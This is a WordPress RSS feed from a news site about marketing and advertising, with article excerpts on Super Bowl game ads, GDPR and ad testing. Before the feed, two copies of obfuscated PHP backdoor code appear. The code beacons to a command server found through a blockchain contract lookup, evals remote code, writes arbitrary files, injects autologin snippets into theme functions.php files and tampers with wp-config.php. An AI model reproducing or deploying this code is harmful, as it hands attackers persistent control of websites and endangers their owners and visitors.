// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); marketers – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 08 Apr 2018 21:48:57 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png marketers – Brief News https://briefnews.eu 32 32 Marketers: Here’s what your job will look like in a blockchain world https://briefnews.eu/marketers-heres-what-your-job-will-look-like-in-a-blockchain-world/ https://briefnews.eu/marketers-heres-what-your-job-will-look-like-in-a-blockchain-world/#respond Sun, 08 Apr 2018 21:48:57 +0000 http://briefnews.eu/marketers-heres-what-your-job-will-look-like-in-a-blockchain-world/

GUEST: General Stanley McChrystal was responsible for the U.S. Army in Iraq and Afghanistan. In his book Team of Teams, he talks about the rude awakening he had when he saw how disadvantaged his centralized command was compared to the decentralized networks of Al-Qaeda in Iraq and Afghanistan. McChrystal quickly recognized he needed to reimagine ho…Read More

]]> https://briefnews.eu/marketers-heres-what-your-job-will-look-like-in-a-blockchain-world/feed/ 0 What the EU’s latest data protection law means for chatbot makers and marketers https://briefnews.eu/what-the-eus-latest-data-protection-law-means-for-chatbot-makers-and-marketers/ https://briefnews.eu/what-the-eus-latest-data-protection-law-means-for-chatbot-makers-and-marketers/#respond Sat, 17 Mar 2018 08:41:22 +0000 http://briefnews.eu/what-the-eus-latest-data-protection-law-means-for-chatbot-makers-and-marketers/

GUEST: What follows is an overview of the upcoming GDPR legislation and, above all, an invite to anticipate the consequences of this new regulation and start thinking about the actions you need to undertake. It is absolutely not legal advice; GDPR is a pretty serious matter (keep reading to see how serious it is) and so I strongly suggest you consu…Read More

]]> https://briefnews.eu/what-the-eus-latest-data-protection-law-means-for-chatbot-makers-and-marketers/feed/ 0 Do game marketers hate the Super Bowl? GamesBeat Decides https://briefnews.eu/do-game-marketers-hate-the-super-bowl-gamesbeat-decides/ https://briefnews.eu/do-game-marketers-hate-the-super-bowl-gamesbeat-decides/#respond Tue, 06 Feb 2018 02:41:53 +0000 http://briefnews.eu/do-game-marketers-hate-the-super-bowl-gamesbeat-decides/

ANALYSIS:

On Sunday afternoon, a few hours before the Super Bowl, I went through my email in search of any reference to Super Bowl LII. I found some promotions about Papa John’s Pizza, Angry Birds, and Xbox — but nothing mentioned anything about a Super Bowl commercial. That was a pretty big departure from the last couple of years, when mobile developers like Supercell would promote their big ads for weeks ahead of the “Big Game.”

As it turns out, I didn’t get those emails because we only got one game-related commercial for the mobile fantasy esports game Heroes Arena. Once again, big triple-A publishers like Sony, Activision, and Electronic Arts passed on the opportunity to run a Super Bowl commercial. And I talked about why that’s the case on a special episode of the GamesBeat Decides podcast.

Unlike other GamesBeat Decides episodes, this is a solo narrative project where I dive into one subject. No guests and no Mike Minotti. You can listen to it right here:

While Super Bowl viewers saw ads for the Amazon Echo, Budweiser, and even Koch Industries, you didn’t see anything for Mario, Dragon Ball FighterZ, or even Call of Duty. Why is that? Well, maybe a Super Bowl ad is a waste of money.

The above ad is the 30-second “Challenge Accepted” spot from Koch Industries, the Koch brothers’ international conglomerate. Koch spent $ 5 million for that 30-second spot on top of production costs that can cost millions more. That’s a lot of money, and in an era with social media and influencers, is a Super Bowl ad still worth that premium price? Yes. It is, and social media and influencers are a big reason why.

You may have noticed that Super Bowl ads don’t necessarily debut during the game anymore. Companies will premiere them weeks ahead of time on YouTube, Facebook, and Instagram with teasers. That’s right, we’re getting trailers for ads now.

Paramount, for example, has launched a teaser for its Mission Impossible 6: Fallout trailer that aired during the Super Bowl. It has spent a week building up to the event, and the idea here is that people will know it’s coming and get excited for it. This concept translates even to full ads that debut ahead of time.

“We have this massive audience of people watching these Super Bowl ads, and if we can get 10 million people seeing it early, we’ll actually have ambassadors in the room,” Association of Independent Commercial Producers chief executive officer Matt Miller said in an interview with Fox Business. “Someone says, ‘Oh, I’ve seen this before. This is really funny.’ and they pull people into the ad.”

Of course, building up buzz online doesn’t require the Super Bowl. You could theoretically release a commercial online during this time and call it a “Big Game” ad without having to spend $ 5 million on 30 seconds of air time. But that $ 5 million is still a bargain to reach an audience the size of the Super Bowl in a time of media fragmentation.

Social media, Netflix, and Twitch have taken eyeballs away from a lot of traditional media, and that has driven down the value of 30 seconds of air time during an average night of the year. The Super Bowl, however, is still as watched as it ever was, and that makes its ads more important than ever. PepsiCo doesn’t have a better way of reaching a gigantic audience than the Super Bowl, and that’s why it keeps paying $ 5 million for each of its Doritos and Mountain Dew spots.

So then, where are the video game Super Bowl ads?

If a Super Bowl ad is so worth it, we should see video game ads, right? Well, not exactly, and there’s a couple of reasons.

One thing is that this is the wrong time of the year for a massive marketing campaign that would justify a Super Bowl ad. EA, for example, spent $ 230 million on marketing and sales during the holiday quarter, but it only spent $ 162 million during the Super Bowl quarter last year. In February, publishers are coming out of the gift-giving holidays, and they have fewer blockbusters to market. Instead, you see the likes of Activision promote Call of Duty with a trailer during the NBA playoffs in May every single year.

Sony could start promoting God of War, or Rockstar could start hyping up audiences for Red Dead Redemption 2’s October release. But those companies have other reasons that they didn’t do that.

While the biggest event in U.S. sports reaches a huge, broad audience, that isn’t as important when it comes to games marketing. Gaming is huge — especially with mobile platforms — but actually spending money to buy blockbusters games appeals to a smaller audience of people who tend to spend a lot on their hobby. To maximize revenues from those kinds of customers, publishers need to intelligently target them. Sony could shout about Spider-Man for PlayStation 4 to a lot of people with a Super Bowl ad, but the problem is that most of the people watching the game would never purchase a console game. We can assume that a larger number of Super Bowl viewers purchase flavored tortilla chips, and that’s why we get the Doritos ads instead.

And what’s great for gaming companies is that they have a number of promotional networks that appeal directly to hardcore gaming fans. Most notably, influencer platforms are huge and especially robust when it comes to gaming. This is something we saw with Fortnite recently. Epic Games was able to jumpstart the success of that battle royal shooter with an influencer campaign that had nearly every major streamer on Twitch playing Fortnite for their faithful audiences. That amped up buzz among a group of people who are very likely to seek out Fortnite for themselves.

Fortnite owes a lot of its current success to Epic’s smart, targeted marketing. And $ 5 million saved by avoiding a Super Bowl ad is $ 5 million earned.

So then why in the hell do mobile games advertise during the Super Bowl? Well, we saw that trend reverse a bit compared to the recent past. We’ve seen a lot of mobile game ads debut during the Super Bowl in 2015, 2016, and 2017, but only one aired during this year’s match. But in the past, mobile games likely thought it was worth it because they were looking to build up brand awareness to improve conversion on other advertising platforms.

Mobile games are almost always free and on ubiquitous devices like smartphones. And a Super Bowl mobile-game ad isn’t designed to get you to open your phone and download the game right away. Instead, an ad like this one for Clash of Clans featuring Liam Neeson is supposed to build up brand recognition.

Then, if you see an ad on Facebook for Clash of Clans, you may be more likely to click on it. But as Supercell didn’t return for a new Super Bowl ad in 2018, it is probably finding that targeting gamers is better for its products as well.

The PC Gaming channel is presented by Intel®‘s Game Dev program.

]]> https://briefnews.eu/do-game-marketers-hate-the-super-bowl-gamesbeat-decides/feed/ 0 Big marketers like AirBnb and eBay are using Facebook to see which ads are a waste of money https://briefnews.eu/big-marketers-like-airbnb-and-ebay-are-using-facebook-to-see-which-ads-are-a-waste-of-money/ https://briefnews.eu/big-marketers-like-airbnb-and-ebay-are-using-facebook-to-see-which-ads-are-a-waste-of-money/#respond Thu, 25 Jan 2018 11:09:56 +0000 http://briefnews.eu/big-marketers-like-airbnb-and-ebay-are-using-facebook-to-see-which-ads-are-a-waste-of-money/ airbnb By Mr.Whiskey

  • Marketers like Airbnb and eBay are increasingly using scientific tests to run different ads across different segments of audiences, and then using the results to shift budgets accordingly.
  • Such tests help to measure incremental returns on a particular advertising campaign or even an entire media channel using test and control groups.
  • Facebook too is pushing the concept of measuring advertising based on its ability to drive business outcomes as an industry-wide initiative along with multiple third party researchers.

Airbnb has always relied on data to drive its marketing. But testing how well different ads perform with different audiences and on different platforms – and then ideally shifting budgets to the ads or tactics that were performing the best –wasn’t part of the marketing mix until two years ago.

Today, this kind of scientific ad tracking – which help to measure incremental returns on a particular advertising campaign or even an entire media channel using a test and a control group – are a standard practice at the short-term home rental brand. 

“It’s important to understand with as much precision as possible how many extra dollars in booking value we bring to the business with each extra dollar we spend on a platform,” Airbnb’s Director of data science, Alok Gupta, told Business Insider. “It has become an increasing priority because we have a finite marketing budget want to maximize ROI.”

By comparing different results from ad campaigns delivered to distinct groups of consumers, Airbnb – like many big big brands – has been able to calculate lifts in ad performance and justify marketing spend on specific campaigns or channels.

This kind of testing is particularly potent on Facebook, given that it has rich sets of data on over 2 billion users across the globe (like their age and location) and is able to easily deliver different messages to different users at a given moment.

Indeed, over the past several years Facebook has been vocal about pushing the ad industry to focus on how ad spending drives tangible business outcomes (like say sales).

Naturally, the tech giant believes it has a key advantage on this front over competing traditional and digital media: that is has more data on its users than anybody else, and thus is more capable than other media vehicles at proving that it can drive real business results for brands like Airbnb.

It is touting incrementality as an industry-wide initiative and has also set up several partnerships through its Lift API. Partners such as Oracle Data Cloud and Nielsen Catalina, for example, help measure offline sales from Facebook ads, and vendors like Visual IQ and MarketShare help measure multitouch attribution. 

